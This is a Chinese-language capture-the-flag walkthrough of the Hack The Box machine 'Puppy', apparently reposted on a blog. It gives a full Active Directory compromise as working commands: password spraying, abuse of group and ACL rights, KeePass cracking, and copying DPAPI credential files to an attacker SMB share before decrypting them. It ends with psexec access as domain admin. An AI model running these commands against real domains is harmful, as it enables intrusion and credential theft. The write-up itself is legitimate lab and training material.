当前位置: 首页 > ds >正文

HTB-Puppy

在这里插入图片描述

一、初始侦察与立足点建立

1.1 端口扫描与服务识别

对目标主机 10.10.11.70 进行全端口扫描,结果显示开放了多个与域环境相关的服务端口。

sudo nmap 10.10.11.70 -p- --min-rate=5000 -A


图1: Nmap 扫描结果显示 88 (Kerberos), 139/445 (SMB), 5985 (WinRM) 等端口开放,初步判断为域控制器

1.2 SMB 枚举与初始凭证利用

获得了初始凭证 levi.james:KingofAkron2025!。首先利用此凭证对 SMB 共享进行枚举。

nxc smb 10.10.11.70 -u levi.james -p KingofAkron2025! --shares


图2: nxc (NetExec) 枚举 SMB 共享结果,发现 dev 目录,但当前用户不可读

在枚举到的共享中,dev 目录较为特殊,但当前用户 levi.james 并无读取权限。

1.3 域用户枚举

利用已知凭证,通过 LDAP 服务枚举域内用户,并将结果保存。

nxc ldap 10.10.11.70 -u levi.james -p KingofAkron2025! --users

获取到的域用户列表如下:

Administrator
levi.james
ant.edwards
adam.silver
amie.williams
steph.cooper
steph.cooper_adm


图3: LDAP 枚举获取的域用户列表,保存至 users.txt

1.4 初步攻击尝试与信息收集

使用已发现的域用户列表 (users.txt) 和初始密码 KingofAkron2025! 进行密码喷洒,未获得新的有效凭证。

nxc smb 10.10.11.70 -u users.txt -p KingofAkron2025! --continue-on-success


图4: 密码喷洒尝试未成功

接着,尝试 AS-REP Roasting 和 Kerberoasting 攻击,均未发现可利用的哈希。然而,在 Kerberoasting 的输出中,意外发现用户 adam.silver 处于不可用状态。

nxc ldap 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --asreproast output.txt
nxc ldap 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --kerberoasting output.txt


图5: AS-REP Roasting 和 Kerberoasting 未成功,但提示 adam.silver 账户禁用

为确认 adam.silver 账户状态,使用 bloodyAD 查询其 userAccountControl 属性。

bloodyAD -u 'levi.james' -p 'KingofAkron2025!' -d puppy.htb --host 10.10.11.70 get object adam.silver --attr userAccountControl


图6: bloodyAD 查询确认 adam.silver 账户的 userAccountControl 为 ACCOUNTDISABLE状态

查询结果 (ACCOUNTDISABLE) 确认了 adam.silver 账户确实处于禁用状态。

1.5 ADCS 枚举

对 Active Directory 证书服务 (ADCS) 进行枚举,寻找潜在的配置错误或漏洞,但未发现可利用点。

certipy-ad find -u 'levi.james' -p 'KingofAkron2025!' -dc-ip 10.10.11.70 -vulnerable -enabled -text -ldap-scheme ldap


图7: ADCS 枚举未发现可利用漏洞

二、权限提升:利用 GenericWrite 与 KeePass 破解

2.1 BloodHound 分析与 GenericWrite 权限发现

在常规方法尝试未果后,使用 BloodHound 进行更深入的域内权限关系分析。

bloodhound-ce-python -c all -d puppy.htb -u 'levi.james' -p 'KingofAkron2025!' -ns 10.10.11.70 -dc dc.puppy.htb --zip


图8: 使用 bloodhound-ce-python 收集域信息

BloodHound 分析结果显示,用户 levi.james 所属的 HR@PUPPY.HTB 组对 DEVELOPERS@PUPPY.HTB 组拥有 GenericWrite 权限。


图9: BloodHound 显示 HR 组对 Developers 组拥有 GenericWrite 权限

2.2 利用 GenericWrite 访问受限共享

GenericWrite 权限允许我们将用户添加到目标组。利用此权限,将 levi.james 添加到 Developers 组。

bloodyAD --host 10.10.11.70 -u 'levi.james' -p 'KingofAkron2025!' -d puppy.htb add groupMember developers levi.james


图10: 使用 bloodyADlevi.james 添加到 Developers

成功添加后,再次尝试访问之前不可读的 dev 共享目录。

nxc smb 10.10.11.70 -u levi.james -p KingofAkron2025! --shares


图11: levi.james 成为 Developers 组成员后,dev 共享目录变为可读

连接到 dev 共享目录并下载所有文件。


图12: 从 dev 共享目录下载文件,发现 recovery.kdbx KeePass 密码文件

目录中包含两个文件,其中 recovery.kdbx 是一个 KeePass 密码数据库文件,成为我们关注的重点。

2.3 KeePass 文件破解
2.3.1 keepass2john 版本问题与编译

尝试使用 keepass2john.kdbx 文件转换为 hashcatJohn the Ripper 可识别的哈希格式,但转换失败。

keepass2john recovery.kdbx > keepass.hash


图13: keepass2john 转换失败

搜索发现,失败原因是 recovery.kdbx 文件为 KeePass v4 版本,而当前 kali 的最新版本依旧不支持。幸运的是,JtR 的 “Bloody Jumbo” 版本自2024年11月起已支持 KeePass v4。


图14: 社区帖子指出 JtR Bloody Jumbo 支持 KeePass v4

因此,我们下载 JtR 最新源码并进行编译安装。

# 安装依赖
sudo apt install -y git build-essential libssl-dev libgmp-dev libpcap-dev pkg-config libbz2-dev zlib1g-dev
# 下载最新源码
git clone https://github.com/openwall/john.git
# 进入src目录并运行基本配置脚本
cd john/src/ && ./configure
# 编译源代码
make -s clean && make -sj$(nproc)
# 进入上一级的run目录并验证
cd ../run && ./john --help


图15: 成功编译并运行最新版 John the Ripper

2.3.2 破解密码

使用新编译的 keepass2johnjohn 工具,配合 rockyou.txt 字典成功破解 recovery.kdbx 的主密码。

./run/keepass2john ~/htb/Puppy/recovery.kdbx > ~/htb/Puppy/keepass.hash
./run/john ~/htb/Puppy/keepass.hash -w /usr/share/wordlists/rockyou.txt --format=keepass


图16: 成功破解 KeePass 文件密码为 liverpool

2.4 凭证收集与密码喷洒

使用破解的密码 liverpool 打开 recovery.kdbx 文件,发现其中存储了 5 组凭证。

keepassxc recovery.kdbx


图17: KeePass 文件中存储的凭证

将这些新凭证连同已知的密码(共7个)保存到 passwords.txt 文件:

JamieLove2025!
Antman2025!
ILY2025!
Steve2025!
HJKL2025!
KingofAkron2025!
liverpool

使用更新后的用户列表 (users.txt) 和密码列表 (passwords.txt) 再次进行密码喷洒。

nxc ldap 10.10.11.70 -u users.txt -p passwords.txt --continue-on-success


图18: 密码喷洒成功命中 ant.edwards:Antman2025!

密码喷洒成功获取了用户 ant.edwards 的有效凭证 Antman2025!

三、横向移动:控制 adam.silver

3.1 BloodHound 分析:ant.edwardsadam.silver 的 GenericAll 权限

在 BloodHound 中分析新获取的用户 ant.edwards 的权限,发现其对之前被禁用的用户 adam.silver 拥有 GenericAll 权限。


图19: BloodHound 显示 ant.edwardsadam.silver 拥有 GenericAll 权限

同时,adam.silverRemote Management Users 组的成员,这意味着一旦其账户被启用并设置密码,便可以通过 WinRM 进行远程登录。


图20: adam.silver 属于 Remote Management Users

3.2 启用账户并重置密码

利用 ant.edwardsGenericAll 权限,我们首先重置 adam.silver 的密码,然后移除其账户的 ACCOUNTDISABLE 标记以启用该账户。

bloodyAD -u 'ant.edwards' -p 'Antman2025!' -d puppy.htb --host 10.10.11.70 set password adam.silver summer@123
bloodyAD -u 'ant.edwards' -p 'Antman2025!' -d puppy.htb --host 10.10.11.70 remove uac adam.silver -f ACCOUNTDISABLE


图21: 成功重置 adam.silver 密码并启用其账户

3.3 WinRM 登录与用户 Flag 获取

使用新设置的凭证 adam.silver:summer@123 通过 WinRM 远程登录目标服务器,并成功获取 user.txt


图22: 通过 WinRM 登录 adam.silver 并获取 user flag

四、进一步提权:DPAPI 与 steph.cooper_adm

4.1 文件发现与凭证泄露 (steph.cooper)

adam.silver 用户的 Shell 中,于 C:\Backups 目录下发现一个压缩包。将其下载到本地进行分析。


图23: 在 C:\Backups 发现压缩包文件

解压后,在压缩包内的文件中发现了用户 steph.cooper 的明文密码 ChefSteph2025!


图24: 从 creds.zip 中发现 steph.cooper 的密码

将此密码添加到我们的密码列表 passwords.txt 中。

4.2 再次密码喷洒

为确保覆盖所有可能性,使用更新后的密码列表再次进行密码喷洒。

nxc ldap 10.10.11.70 -u users.txt -p passwords.txt --continue-on-success


图25: 密码喷洒确认 steph.cooper/ChefSteph2025! 凭证有效

此轮喷洒确认了 steph.cooper/ChefSteph2025! 凭证的有效性。BloodHound 分析显示 steph.cooper 也是远程管理组成员,但没有直接的权限提升路径。


图26: BloodHound 显示 steph.cooper 无明显提权路径

4.3 DPAPI 信息收集与利用

通过 WinRM 登录用户 steph.cooper。在其桌面上发现 Edge 浏览器快捷方式(adam.silver 桌面也有),暗示浏览器可能存储了凭证,这些凭证通常使用 Windows DPAPI 加密。


图27: steph.cooper 桌面存在 Edge 浏览器快捷方式

4.3.1 WinPEAS 枚举

上传并运行 winpeas.exe 进行提权向量和敏感信息枚举。


图28: 上传 winpeas.exe

WinPEAS 的输出帮助定位了与 DPAPI 相关的主密钥文件和凭据文件。


图29: WinPEAS 找到 DPAPI 主密钥和凭据文件路径

4.3.2 DPAPI 主密钥与凭据文件下载

根据 WinPEAS 的提示,下载 DPAPI 主密钥文件 (556a2412-1275-4ccf-b721-e6a0b4f90407) 和两个凭据文件 (DFBE70A7E5CC19A398EBF1B96859CE5D, C8D69EBE9A43E9DEBF6B5FBD48B521B9)。
由于其中一个凭据文件是隐藏文件,evil-winrmdownload 命令下载出错,因此借助于本地开启的 impacket-smbserver 进行传输。

# 在攻击机上启动 SMB 服务器
impacket-smbserver -smb2support a .
# 在目标机 steph.cooper 的 WinRM 会话中执行复制命令
Copy-Item -Path "C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9" -Destination "\\10.10.14.17\a\C8D69EBE9A43E9DEBF6B5FBD48B521B9" -Force


图30: 使用 SMB 服务器传输隐藏的 DPAPI 凭据文件

4.3.3 主密钥提取

使用 impacket-dpapisteph.cooper 的密码 ChefSteph2025! 及 SID 从主密钥文件中提取出可用的 masterkey。

impacket-dpapi masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -password 'ChefSteph2025!' -sid S-1-5-21-1487982659-1829050783-2281216199-1107


图31: 成功提取 DPAPI masterkey

4.3.4 凭证解密

使用提取的 masterkey 解密下载的两个凭据文件。第一个文件未包含有用信息。

impacket-dpapi credential -file DFBE70A7E5CC19A398EBF1B96859CE5D -key <masterkey_hex_from_previous_step>


图32: 解密第一个凭据文件,无有用信息

解密第二个凭据文件时,成功发现了一组凭据:steph.cooper_adm:FivethChipOnItsWay2025!

impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key <masterkey_hex_from_previous_step>


图33: 从第二个凭据文件解密出 steph.cooper_adm 的凭证

五、域控权限获取

5.1 BloodHound 分析:steph.cooper_adm 权限

BloodHound 分析显示,用户 steph.cooper_admDomain Admins 组的成员,即域管理员。


图34: BloodHound 显示 steph.cooper_adm 属于域管理员组

5.2 psexec 获取域控 Shell

利用获取到的域管理员凭证 steph.cooper_adm:FivethChipOnItsWay2025!,通过 impacket-psexec 直接登录域控制器 10.10.11.70,获得 SYSTEM 权限。

impacket-psexec steph.cooper_adm:'FivethChipOnItsWay2025!'@10.10.11.70


图35: 使用 psexecsteph.cooper_adm 凭证,成功获取域控的 SYSTEM 权限


http://www.xdnf.cn/news/9506.html

相关文章:

  • DAY 38 Dataset和Dataloader类
  • Linux网络编程(一)
  • 医疗影像检测系统设计与实现
  • open3d保存为pcl可以读取的ply点云
  • Windows 子系统 WSL 中宝塔安装 supervisor 启动失败解决方案
  • 《计算机组成原理》第 1 章 - 计算机系统概论
  • 工控安全审计与网络流量监控系统的协同防御
  • ‌CDGP|企业数据治理:莫让“打补丁”成为常态
  • STL容器使用中的常见问题解析
  • 辛格迪客户案例 | 博福-益普生实施YonSuite,同步开展计算机化系统验证(CSV)
  • Druid连接池使用和源码分析
  • 为Windows用户量身定制的监控方案
  • 通过 API 获取 1688 平台订单接口的技术实现
  • LeetCode 118 题解--杨辉三角
  • 软考 系统架构设计师系列知识点之杂项集萃(77)
  • 1435系列信号发生器
  • 2025年上半年软考系统架构设计师--案例分析试题与答案
  • python 生成复杂表格,自动分页等功能
  • 自动驾驶规划控制教程——不确定环境下的决策规划
  • 火柴INIBOX矿机实测850M算力即将改写Initverse挖矿规则
  • 模型可信度
  • 缩量资金迁徙下的短期博弈
  • phpstudy(1) -- 记录
  • Orpheus-TTS:AI文本转语音,免费好用的TTS系统
  • 第二十二章:数据治理之数据价值:数据价值知多少
  • 远程模块“破壁”指南:打破空间限制,让控制“无界”!
  • 解析pod
  • MySQL推出全新Hypergraph优化器,正式进军OLAP领域!
  • msql的乐观锁和幂等性问题解决方案
  • Quartus 开发可实现人工智能加速的 FPGA 系统